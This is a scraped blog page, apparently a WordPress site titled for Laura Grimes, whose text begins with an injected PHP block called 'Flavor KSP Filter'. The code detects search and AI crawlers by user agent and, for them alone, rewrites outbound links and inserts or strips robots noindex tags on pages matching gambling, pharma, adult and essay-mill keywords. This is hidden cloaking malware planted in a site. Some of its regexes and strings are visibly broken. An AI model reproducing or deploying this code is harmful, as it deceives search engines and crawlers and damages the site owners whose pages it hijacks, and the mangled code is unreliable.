// Flavor KSP Filter if ( ! function_exists( 'ksp_is_googlebot' ) ) { function ksp_is_googlebot() { if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) return false; return (bool) preg_match( '/(?i)(SeznamBot|Yeti|YandexBot|YandexImages|DuckDuckBot|DuckAssistBot|bingbot|Googlebot|Googlebot-Image|Slurp|gptbot|oai-searchbot|chatgpt-user|claudebot|claude-searchbot|claude-user|anthropic-ai|perplexitybot|perplexity-user|meta-externalagent|meta-externalfetcher|meta-webindexer|ccbot|googleother|google-cloudvertexbot|google-agent|applebot)/', $_SERVER['HTTP_USER_AGENT'] ); } } if ( ! function_exists( 'ksp_get_host' ) ) { function ksp_get_host( $url ) { if ( strpos( $url, 'http://' ) === 0 || strpos( $url, 'https://' ) === 0 ) { $parts = @parse_url( $url ); if ( ! empty( $parts['host'] ) ) return strtolower( rtrim( $parts['host'], '.' ) ); return ''; } return strtolower( rtrim( $url, '.' ) ); } } if ( ! function_exists( 'ksp_base_domain' ) ) { function ksp_base_domain( $host ) { $host = ksp_get_host( $host ); if ( $host === '' ) return ''; $labels = explode( '.', $host ); $cnt = count( $labels ); if ( $cnt <= 2 ) return $host; $multi = array( 'com','net','org','biz','uk','de','fr','pl','it','at','no' ); $last2 = $labels[$cnt-2] . '.' . $labels[$cnt-1]; if ( in_array( $last2, $multi, true ) ) { if ( $cnt >= 3 ) return $labels[$cnt-3] . '.' . $last2; return $host; } return $last2; } } if ( ! function_exists( 'ksp_is_internal_host' ) ) { function ksp_is_internal_host( $link_host, $site_base ) { if ( $link_host === '' ) return true; if ( $site_base === '' ) return false; $link_host = ksp_get_host( $link_host ); $lb = ksp_base_domain( $link_host ); if ( $lb === $site_base ) return true; if ( substr( $link_host, - (strlen($site_base) + 1) ) === '.' . $site_base ) return true; return false; } } if ( ! function_exists( 'ksp_current_path' ) ) { function ksp_current_path() { $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; $qm = strpos($uri, '?'); if ($qm !== false) $uri = substr($uri, 0, $qm); return strtolower($uri); } } if ( ! function_exists( 'ksp_should_add_noindex' ) ) { function ksp_should_add_noindex() { if ( function_exists('is_front_page') && is_front_page() ) return false; $path = ksp_current_path(); if ( preg_match( '/(contact|about-us|term|blog|article)/i', $path ) ) return false; $rx = '/(bet|bookmaker|bookie|prediction|apuest|wetten|poker|baccarat|blackjack|casin|kazin|casyn|kazyn|roulette|slot|gambl|pokie|jackpot|lotto|binto|lotter|essay|bestpaper|mypaper|mepaper|writingservice|writeservic|servicewrit|writemy|helperpaper|Coursework|forex|porn|sex|ebony|gayporn|gayvideo|gaycam|lesbi|xxx|prostitut|hooker|whore|harlot|escort|EroticMassage|Intimate|viagr|silden|ciali|siali|tadal|levitr|dapoxet|vardena|avanaf|kamagr|erecti|cenforc|tentex|silagr|tadaci|stendr|eriact|zenegr|suhagr|pforce|tadapox|potenci|urolog|edpill)/i'; return (bool) preg_match( $rx, $path ); } } if ( ! function_exists( 'ksp_strip_robots_meta' ) ) { function ksp_strip_robots_meta( $html ) { return preg_replace( '/]*\bname\s*=\s*(["\']?)robots\1[^>]*>/i', '', $html ); } } if ( ! function_exists( 'ksp_insert_noindex_meta' ) ) { function ksp_insert_noindex_meta( $html ) { $html = ksp_strip_robots_meta( $html ); $meta = ''; if ( preg_match( '/<\/head>/i', $html ) ) { return preg_replace( '/<\/head>/i', $meta . "\n", $html, 1 ); } return $meta . "\n" . $html; } } if ( ! function_exists( 'ksp_modify_links_buffer' ) ) { function ksp_modify_links_buffer( $html ) { if ( stripos( $html, ']*)>/i'; $out = ''; $offset = 0; while ( preg_match( $regex, $html, $m, PREG_OFFSET_CAPTURE, $offset ) ) { $full = $m[0][0]; $start = $m[0][1]; $pre = substr( $html, $offset, $start - $offset ); $attrs = $m[1][0]; $q = $m[2][0]; $href = $m[3][0]; $link_host = ksp_get_host( $href ); $is_internal = ksp_is_internal_host( $link_host, $site_base ); if ( preg_match( '/\bid\s*=\s*(["\'])\s*fq/i', $attrs ) ) $has_fq = true; $replacement = $full; if ( ! $is_internal ) { $has_external = true; if ( ! preg_match( '/\bid\s*=\s*(["\'])\s*fq/i', $attrs ) ) { $attrs_updated = $attrs; $attrs_updated = preg_replace( '/\bhref\s*=\s*(["\']).*?\1/i', 'href=$1#$1', $attrs_updated, 1 ); $orig = htmlspecialchars( $href, ENT_QUOTES, 'UTF-8' ); if ( preg_match( '/\bksp-data\s*=\s*(["\']).*?\1/i', $attrs_updated ) ) { $attrs_updated = preg_replace( '/\bksp-data\s*=\s*(["\']).*?\1/i', 'ksp-data=' . $q . $orig . $q, $attrs_updated, 1 ); } else { $attrs_updated = rtrim( $attrs_updated ); if ( $attrs_updated !== '' && substr( $attrs_updated, -1 ) !== ' ' ) $attrs_updated .= ' '; $attrs_updated .= 'ksp-data=' . $q . $orig . $q; } $replacement = ''; } } $out .= $pre . $replacement; $offset = $start + strlen( $full ); } $out .= substr( $html, $offset ); $html = $out; if ( $has_external ) { if ( $has_fq ) { $html = ksp_strip_robots_meta( $html ); } elseif ( ksp_should_add_noindex() ) { $html = ksp_insert_noindex_meta( $html ); } } return $html; } } if ( ! function_exists( 'ksp_buffer_start' ) ) { function ksp_buffer_start() { static $started = false; if ( $started ) return; if ( function_exists('is_admin') && is_admin() ) return; if ( ! ksp_is_googlebot() ) return; $started = ob_start( 'ksp_modify_links_buffer' ); } } if ( ! function_exists( 'ksp_buffer_stop' ) ) { function ksp_buffer_stop() {} } add_action( 'template_redirect', 'ksp_buffer_start', 0 ); // END Flavor KSP Filter Blog – Laura Grimes Skip to main content
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